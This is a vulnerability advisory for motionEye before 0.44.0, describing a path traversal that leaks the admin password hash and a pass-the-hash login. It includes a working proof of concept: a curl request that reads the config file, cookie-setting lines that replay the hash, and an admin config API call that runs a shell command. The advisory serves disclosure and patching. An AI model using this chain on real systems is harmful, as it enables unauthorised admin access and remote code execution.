criticalJun 26, 2026

motionEye Unauthenticated Admin Credential Theft via Path Traversal

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A path traversal bug in motionEye's media playback handler lets a zero-credential attacker read the server's config file, steal the admin password hash, and immediately replay it for full admin access

Packagemotioneye
Ecosystempip
Affected< 0.44.0
Fixed in0.44.0
motionEye Unauthenticated Admin Credential Theft via Path Traversal

The problem

motionEye before 0.44.0 grants unauthenticated 'normal user' access to all normal-level endpoints when the surveillance password is empty, which is the default. The movie playback handler (and picture download/preview handlers) accept a user-supplied filename and construct a filesystem path with os.path.join().

They also explicitly override Tornado's StaticFileHandler safety methods to return the attacker-supplied path unchanged, stripping all built-in protections.

Passing an absolute path like /etc/motioneye/motion.conf causes Python's os.path.join() to discard the camera's target_dir entirely and serve the file directly. That config file stores the admin password as a plain SHA-1 hash, and motionEye's auth code accepts that raw hash as a valid signing key.

No cracking is required: the stolen hash can be set as a browser cookie to gain full admin access immediately.

Proof of concept

bash
# Step 1: Read the config file (no credentials needed; default empty surveillance password)
curl --path-as-is -s 'http://TARGET:8765/movie/1/playback//etc/motioneye/motion.conf'

# Response contains:
# @admin_username admin
# @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db

# Step 2: Replay the hash as admin in browser console
document.cookie = "meye_username=admin; path=/";
document.cookie = "meye_password_hash=7b7d55439abccf4ae83047c1af2707e6eb6664db; path=/";
location.reload();

# Step 3 (optional): Achieve RCE via admin config API
# POST /config/1/set HTTP/1.1
# Content-Type: application/json
# {"command_notifications_enabled": true, "command_notifications_exec": "touch /tmp/pwned"}

The root cause is two independent weaknesses chained together. First, MoviePlaybackHandler (and related handlers) override get_absolute_path() and validate_absolute_path() to return the caller's input verbatim, so Tornado's StaticFileHandler never runs its containment checks.

When the filename is an absolute path, os.path.join(target_dir, path) silently drops target_dir entirely (CWE-35 / CWE-22). Second, the admin password is stored as SHA-1(plaintext) in a world-readable config file, and that hash value is accepted directly as a valid HMAC signing key, enabling a pass-the-hash attack with no cracking step.

The patch removes the unsafe overrides, adds traversal-element rejection across all media handlers, restricts motion.conf to 0600 permissions so it cannot be read even if traversal were attempted, and switches to Argon2 for password storage so a stolen hash can no longer be replayed directly.

The fix

Upgrade to motionEye 0.44.0 or later. The release removes the get_absolute_path/validate_absolute_path overrides, rejects any API path containing traversal elements with a 403, creates motion.conf and camera-*.conf with 0600 permissions, enforces a non-empty password for both users, and stores passwords as Argon2 hashes instead of raw SHA-1.

Reported by FireByteApplications (and 0xLynk, dimashn04, C4spr0x1A, sighnwaive, MichaIng, Marijn0, zagrim).

References: [1][2]